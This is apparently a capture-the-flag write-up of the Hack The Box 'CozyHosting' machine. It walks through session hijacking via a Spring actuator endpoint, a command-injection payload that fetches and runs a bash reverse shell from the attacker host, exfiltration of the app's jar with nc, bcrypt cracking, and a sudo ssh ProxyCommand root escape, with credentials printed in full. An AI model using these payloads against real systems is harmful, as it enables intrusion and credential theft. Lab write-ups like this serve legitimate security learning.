当前位置: 首页 > news >正文

htb-cozyhosting

HTB-CozyHosting

https://app.hackthebox.com/machines/CozyHosting

──(kwkl㉿kwkl)-[~]
└─$ tail -l /etc/hosts                                                                                                                                                       1 ⨯10.10.11.230 cozyhosting.htb
──(kwkl㉿kwkl)-[~]
└─$ nmap -A 10.10.11.230 -T4 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 20:47 HKT
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 7.27% done; ETC: 20:50 (0:02:59 remaining)
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.12% done; ETC: 20:50 (0:02:31 remaining)
Nmap scan report for 10.10.11.230 (10.10.11.230)
Host is up (0.61s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
9999/tcp open  abyss?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 256.99 seconds

image-20230923205309502

┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ sudo ./fscan_amd64 -h 10.10.11.230   ___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.2
start infoscan
(icmp) Target 10.10.11.230    is alive
[*] Icmp alive hosts len is: 1
10.10.11.230:8000 open
10.10.11.230:22 open
10.10.11.230:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://10.10.11.230       code:301 len:178    title:301 Moved Permanently 跳转url: http://cozyhosting.htb
[*] WebTitle: http://cozyhosting.htb    code:200 len:12706  title:Cozy Hosting - Home
已完成 1/3 [-] ssh 10.10.11.230:22 root 123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
[+] http://cozyhosting.htb poc-yaml-springboot-env-unauth spring2
已完成 2/3 [-] ssh 10.10.11.230:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root Passw0rd ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root 123456~a ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root a11111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] ssh 10.10.11.230:22 root sysadmin ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/3
[*] 扫描结束,耗时: 7m6.791807771s
┌──(kwkl㉿kwkl)-[~/tools/scan_tool/dirsearch-0.4.3]
└─$ ./dirsearch.py -u http://cozyhosting.htb/                                                                                                                                1 ⨯_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /home/kwkl/tools/scan_tool/dirsearch-0.4.3/reports/http_cozyhosting.htb/__23-09-30_10-56-44.txtTarget: http://cozyhosting.htb/[10:56:44] Starting:                                                                                                                                                             
[10:57:32] 200 -    0B  - /;/login                                          
[10:57:32] 200 -    0B  - /;/json
[10:57:32] 200 -    0B  - /;/admin
[10:57:32] 200 -    0B  - /;admin/
[10:57:32] 200 -    0B  - /;login/
[10:57:32] 200 -    0B  - /;json/                                           
[10:57:32] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:57:35] 400 -  435B  - /a%5c.aspx                                        
[10:57:38] 200 -    0B  - /actuator/;/auditevents                           
[10:57:38] 200 -    0B  - /actuator/;/auditLog                              
[10:57:39] 200 -  634B  - /actuator                                         
[10:57:39] 200 -    0B  - /actuator/;/conditions
[10:57:39] 200 -    0B  - /actuator/;/caches
[10:57:39] 200 -    0B  - /actuator/;/configprops
[10:57:39] 200 -    0B  - /actuator/;/beans
[10:57:39] 200 -    0B  - /actuator/;/configurationMetadata
[10:57:39] 200 -    0B  - /actuator/;/dump
[10:57:39] 200 -    0B  - /actuator/;/env
[10:57:39] 200 -    0B  - /actuator/;/features
[10:57:39] 200 -    0B  - /actuator/;/flyway
[10:57:39] 200 -    0B  - /actuator/;/events
[10:57:39] 200 -    0B  - /actuator/;/exportRegisteredServices
[10:57:39] 200 -    0B  - /actuator/;/health
[10:57:39] 200 -    0B  - /actuator/;/heapdump
[10:57:39] 200 -    0B  - /actuator/;/info
[10:57:39] 200 -    0B  - /actuator/;/httptrace
[10:57:39] 200 -    0B  - /actuator/;/healthcheck
[10:57:39] 200 -    0B  - /actuator/;/logfile
[10:57:39] 200 -    0B  - /actuator/;/jolokia
[10:57:39] 200 -    0B  - /actuator/;/loggers
[10:57:39] 200 -    0B  - /actuator/;/loggingConfig
[10:57:39] 200 -    0B  - /actuator/;/prometheus
[10:57:39] 200 -    0B  - /actuator/;/integrationgraph
[10:57:39] 200 -    0B  - /actuator/;/liquibase
[10:57:39] 200 -    0B  - /actuator/;/mappings
[10:57:39] 200 -    0B  - /actuator/;/metrics
[10:57:39] 200 -    0B  - /actuator/;/refresh
[10:57:39] 200 -    0B  - /actuator/;/registeredServices
[10:57:39] 200 -    0B  - /actuator/;/sessions
[10:57:39] 200 -    0B  - /actuator/;/releaseAttributes
[10:57:39] 200 -    0B  - /actuator/;/resolveAttributes
[10:57:39] 200 -    0B  - /actuator/;/ssoSessions
[10:57:39] 200 -    0B  - /actuator/;/sso
[10:57:39] 200 -    0B  - /actuator/;/scheduledtasks
[10:57:39] 200 -    0B  - /actuator/;/shutdown
[10:57:39] 200 -    0B  - /actuator/;/springWebflow
[10:57:39] 200 -    0B  - /actuator/;/statistics
[10:57:39] 200 -    0B  - /actuator/;/status
[10:57:39] 200 -    0B  - /actuator/;/trace
[10:57:39] 200 -    0B  - /actuator/;/threaddump
[10:57:40] 200 -    5KB - /actuator/env                                     
[10:57:40] 200 -   15B  - /actuator/health                                  
[10:57:41] 200 -   10KB - /actuator/mappings                                
[10:57:41] 200 -   98B  - /actuator/sessions                                
[10:57:43] 200 -  124KB - /actuator/beans                                   
[10:57:45] 401 -   97B  - /admin                                            
[10:57:47] 200 -    0B  - /admin/%3bindex/                                  
[10:57:54] 200 -    0B  - /Admin;/                                          
[10:57:54] 200 -    0B  - /admin;/                                          
[10:58:28] 200 -    0B  - /axis//happyaxis.jsp                              
[10:58:28] 200 -    0B  - /axis2-web//HappyAxis.jsp                         
[10:58:28] 200 -    0B  - /axis2//axis2-web/HappyAxis.jsp                   
[10:58:38] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[10:59:02] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf       
[10:59:02] 200 -    0B  - /engine/classes/swfupload//swfupload.swf
[10:59:02] 500 -   73B  - /error                                            
[10:59:04] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[10:59:05] 200 -    0B  - /extjs/resources//charts.swf                      
[10:59:28] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf            
[10:59:35] 200 -    0B  - /jkstatus;                                        
[10:59:40] 200 -    4KB - /login                                            
[10:59:41] 200 -    0B  - /login.wdm%2e                                     
[10:59:42] 204 -    0B  - /logout                                           Task Completed                                                                                                                                                                   

Find. sessions

http://cozyhosting.htb/actuator/sessions

image-20230930110748703

F0FD1F42518BC0B9959B98BED562DC79 “kanderson”

image-20230930111009958

Using this sessionid

image-20230930111619244

we can login in. As kanderson

image-20230930112703766

kanderson%20||%20whoami

;‘id’

image-20230930122338971

http://10.10.16.51:5555/1@1

many times try

 ┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ cat 1@1      
bash -c "bash -i>& /dev/tcp/10.10.16.51/6666 0>&1"┌──(kwkl㉿kwkl)-[~/tools/scan_tool]
└─$ python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
10.10.16.51 - - [01/Oct/2023 22:17:55] "GET /1@1 HTTP/1.1" 200 -
10.10.16.51 - - [01/Oct/2023 22:18:04] "GET /1@1 HTTP/1.1" 200 -
10.10.11.230 - - [01/Oct/2023 22:18:52] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:18:52] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:19:59] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:19:59] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:20:42] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:20:42] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:11] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:22:11] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:31] code 404, message File not found
10.10.11.230 - - [01/Oct/2023 22:22:31] "GET /1 HTTP/1.1" 404 -
10.10.11.230 - - [01/Oct/2023 22:22:47] "GET /1@1 HTTP/1.1" 200 -
10.10.11.230 - - [01/Oct/2023 22:35:39] "GET /1@1 HTTP/1.1" 200 -
┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

image-20231001230450457

raw head

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=7BFD184ED7E857BC1FDD473077783C27//
Upgrade-Insecure-Requests: 1host=1&username=;kanderson||curl$IFS$9http://10.10.16.51:5555/1@1|sh%0a
HTTP/1.1 504 Gateway Time-out
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 01 Oct 2023 14:36:38 GMT
Content-Type: text/html
Content-Length: 176
Connection: close<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

nc op!

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:55596.
bash: cannot set terminal process group (1063): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ idapp@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51/7777/cloudhosting.zip < cloudhosting-0.0.1.jar
<6.51/7777/cloudhosting.zip < cloudhosting-0.0.1.jar
nc: missing port number
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting.zip < cloudhosting-0.0.1.jar
<6.51 7777 cloudhosting.zip < cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting.zip
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 cloudhosting-0.0.1.jar
nc: port number invalid: cloudhosting-0.0.1.jar
app@cozyhosting:/app$ nc 10.10.16.51 7777 < cloudhosting-0.0.1.jar
nc 10.10.16.51 7777 < cloudhosting-0.0.1.jar

recv

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 7777 > cloudhosting.jar                                                                                                                                       130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:44434.

get the jar ball

                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ cp cloudhosting.jar cloudhosting.zip┌──(kwkl㉿kwkl)-[~]
└─$ mkdir cloud  ┌──(kwkl㉿kwkl)-[~/cloud]
└─$ mv ../cloudhosting.zip ../cloud┌──(kwkl㉿kwkl)-[~/cloud]
└─$ ls
BOOT-INF  cloudhosting.zip  META-INF  org┌──(kwkl㉿kwkl)-[~/cloud]
└─$ ls                                                                                                                                                                       1 ⨯
BOOT-INF  cloudhosting.zip  META-INF  org┌──(kwkl㉿kwkl)-[~/cloud]
└─$ unzip cloudhosting.zip ┌──(kwkl㉿kwkl)-[~/cloud]
└─$ grep "password" ./ -r
grep: ./cloudhosting.zip:匹配到二进制文件
grep: ./BOOT-INF/lib/spring-security-crypto-6.0.1.jar:匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-fill"
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:    <glyph glyph-name="lock-password-line"
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf:匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot:匹配到二进制文件
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; }
grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class:匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class:匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class:匹配到二进制文件
./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
./BOOT-INF/classes/templates/login.html:                                        <input type="password" name="password" class="form-control" id="yourPassword"
./BOOT-INF/classes/templates/login.html:                                        <div class="invalid-feedback">Please enter your password!</div>
./BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>┌──(kwkl㉿kwkl)-[~/cloud]
└─$ grep "username" ./ -r
grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class:匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUserDetailsService.class:匹配到二进制文件
grep: ./BOOT-INF/classes/htb/cloudhosting/compliance/ComplianceService.class:匹配到二进制文件
./BOOT-INF/classes/application.properties:spring.datasource.username=postgres
./BOOT-INF/classes/templates/login.html:                                            <input type="text" name="username" class="form-control" id="yourUsername"
./BOOT-INF/classes/templates/login.html:                                            <div class="invalid-feedback">Please enter your username.</div>
./BOOT-INF/classes/templates/login.html:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>
./BOOT-INF/classes/templates/admin.html:                                        <input name="username" class="form-control" id="username" placeholder="user">
./BOOT-INF/classes/templates/admin.html:                                        <label for="username">Username</label>┌──(kwkl㉿kwkl)-[~/cloud]
└─$ 

get the postgresql some info

./BOOT-INF/classes/application.properties:spring.datasource.username=postgres

./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR

using jd-gui

image-20231002110424109

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

image-20231002110833894

package BOOT-INF.classes.htb.cloudhosting.scheduled;

import java.io.IOException;
import java.util.concurrent.TimeUnit;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;

@Component
public class FakeUser {
@Scheduled(timeUnit = TimeUnit.MINUTES, fixedDelay = 5L)
public void login() throws IOException {
System.out.println(“Logging in user …”);
Runtime.getRuntime().exec(new String[] { “curl”, “localhost:8080/login”, “–request”, “POST”, “–header”, “Content-Type: application/x-www-form-urlencoded”, “–data-raw”, “username=kanderson&password=MRdEQuv6~6P9”, “-v” });
}
}

Conn postgresql!

                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 6666                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.11.230.
Ncat: Connection from 10.10.11.230:46842.
bash: cannot set terminal process group (1064): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxRpsql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.cozyhosting=# ls
ls
cozyhosting-# help
help
Use \? for help or press control-C to clear the input buffer.
cozyhosting-# \?
\?
WARNING: terminal is not fully functional
Press RETURN to continue  General\copyright             show PostgreSQL usage and distribution terms\crosstabview [COLUMNS] execute query and display results in crosstab\errverbose            show most recent error message at maximum verbosity\g [(OPTIONS)] [FILE]  execute query (and send results to file or |pipe);\g with no arguments is equivalent to a semicolon\gdesc                 describe result of query, without executing it\gexec                 execute query, then execute each value in its result\gset [PREFIX]         execute query and store results in psql variables\gx [(OPTIONS)] [FILE] as \g, but forces expanded output mode\q                     quit psql\watch [SEC]           execute query every SEC secondsHelp\? [commands]          show help on backslash commands\? options             show help on psql command-line options\? variables           show help on special variables\h [NAME]              help on syntax of SQL commands, * for all commandsQuery Buffer\e [FILE] [LINE]       edit the query buffer (or file) with external editor\ef [FUNCNAME [LINE]]  edit function definition with external editor\ev [VIEWNAME [LINE]]  edit view definition with external editor
:\p                     show the contents of the query buffer
:\r                     reset (clear) the query buffer
:\s [FILE]              display history or save it to file
:\w FILE                write query buffer to file
:
:Input/Output
:\copy ...              perform SQL COPY with data stream to the client host\echo [-n] [STRING]    write string to standard output (-n for no newline)\i FILE                execute commands from file\ir FILE               as \i, but relative to location of current script\o [FILE]              send all query results to file or |pipe\qecho [-n] [STRING]   write string to \o output stream (-n for no newline)\warn [-n] [STRING]    write string to standard error (-n for no newline)
:
Conditional\if EXPR               begin conditional block\elif EXPR             alternative within current conditional block\else                  final alternative within current conditional block\endif                 end conditional block
::Informational(options: S = show system objects, + = additional detail)
:\d[S+]                 list tables, views, and sequences\d[S+]  NAME           describe table, view, sequence, or index
:\da[S]  [PATTERN]      list aggregates
:\dA[+]  [PATTERN]      list access methods
:\dAc[+] [AMPTRN [TYPEPTRN]]  list operator classes\dAf[+] [AMPTRN [TYPEPTRN]]  list operator families
:\dAo[+] [AMPTRN [OPFPTRN]]   list operators of operator families
:\dAp[+] [AMPTRN [OPFPTRN]]   list support functions of operator families
:\db[+]  [PATTERN]      list tablespaces\dc[S+] [PATTERN]      list conversions
:\dC[+]  [PATTERN]      list casts
:\dd[S]  [PATTERN]      show object descriptions not displayed elsewhere\dD[S+] [PATTERN]      list domains
:\ddp    [PATTERN]      list default privileges
:\dE[S+] [PATTERN]      list foreign tables\des[+] [PATTERN]      list foreign servers
:\det[+] [PATTERN]      list foreign tables\deu[+] [PATTERN]      list user mappings
:\dew[+] [PATTERN]      list foreign-data wrappers
:\df[anptw][S+] [FUNCPTRN [TYPEPTRN ...]]list [only agg/normal/procedure/trigger/window] functio
ns\dF[+]  [PATTERN]      list text search configurations\dFd[+] [PATTERN]      list text search dictionaries\dFp[+] [PATTERN]      list text search parsers\dFt[+] [PATTERN]      list text search templates\dg[S+] [PATTERN]      list roles\di[S+] [PATTERN]      list indexes\dl                    list large objects, same as \lo_list
:quit
cozyhosting-# quit
Use \q to quit.
cozyhosting-# dt
dt
cozyhosting-# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue List of relationsSchema | Name  | Type  |  Owner   
--------+-------+-------+----------public | hosts | table | postgrespublic | users | table | postgres
(2 rows)(END)
(END)q
cozyhosting-# 
cozyhosting-# select * from users;
select * from users;
ERROR:  syntax error at or near "ls"
LINE 1: ls^
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue name    |                           password                           | role-----------+--------------------------------------------------------------+-----
--kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | Useradmin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)(END)

┌──(kwkl㉿kwkl)-[~]
└─$ john hash2 -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status

manchesterunited (?)

1g 0:00:00:11 DONE (2023-10-02 11:27) 0.08756g/s 245.8p/s 245.8c/s 245.8C/s 159159…keyboard
Use the “–show” option to display all of the cracked passwords reliably
Session completed.

┌──(kwkl㉿kwkl)-[~]
└─$ vim hash2           ┌──(kwkl㉿kwkl)-[~]
└─$ john hash2 -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:11 DONE (2023-10-02 11:27) 0.08756g/s 245.8p/s 245.8c/s 245.8C/s 159159..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed. ┌──(kwkl㉿kwkl)-[~]
└─$ cat hash2                     
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm ┌──(kwkl㉿kwkl)-[~]
└─$ app@cozyhosting:/app$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
app@cozyhosting:/app$ 

User flag:

633400af01adcc71fd0a9174a813847c

┌──(kwkl㉿kwkl)-[~]
└─$ ssh josh@10.10.11.230     
The authenticity of host '10.10.11.230 (10.10.11.230)' can't be established.
ECDSA key fingerprint is SHA256:dHlbSOhuGjzTNgvvNbEe2LXI3SsauTGXC/Y5kWTJKs4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.230' (ECDSA) to the list of known hosts.
josh@10.10.11.230's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Mon Oct  2 03:32:14 AM UTC 2023System load:           0.0Usage of /:            53.2% of 5.42GBMemory usage:          13%Swap usage:            0%Processes:             239Users logged in:       0IPv4 address for eth0: 10.10.11.230IPv6 address for eth0: dead:beef::250:56ff:feb9:63e0Expanded Security Maintenance for Applications is not enabled.0 updates can be applied immediately.Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.
To check for new updates run: sudo apt updateLast login: Tue Aug 29 09:03:34 2023 from 10.10.14.41
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:~$ cat user.txt
633400af01adcc71fd0a9174a813847c
josh@cozyhosting:~$ josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Sorry, try again.
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser josh may run the following commands on localhost:(root) /usr/bin/ssh *
josh@cozyhosting:~$ josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Sorry, try again.
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser josh may run the following commands on localhost:(root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# 
# 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f1714bfee126c2c7107a6ae26fb22b7d
# 

Root flag:f1714bfee126c2c7107a6ae26fb22b7d

相关文章:

htb-cozyhosting

HTB-CozyHosting https://app.hackthebox.com/machines/CozyHosting ──(kwkl㉿kwkl)-[~] └─$ tail -l /etc/hosts …...

网络安全渗透测试工具之skipfish

网络安全渗透测试工具skipfish介绍 在数字化的时代,Web 应用程序安全成为了首要任务。想象一下,您是一位勇敢的安全冒险家,迎接着那些隐藏在 Web 应用程序中的未知风险。而在这个冒险之旅中,您需要一款强大的工具来帮助您发现漏洞,揭示弱点。而这个工具就是 Skipfish。 …...

【Rust】文件系统

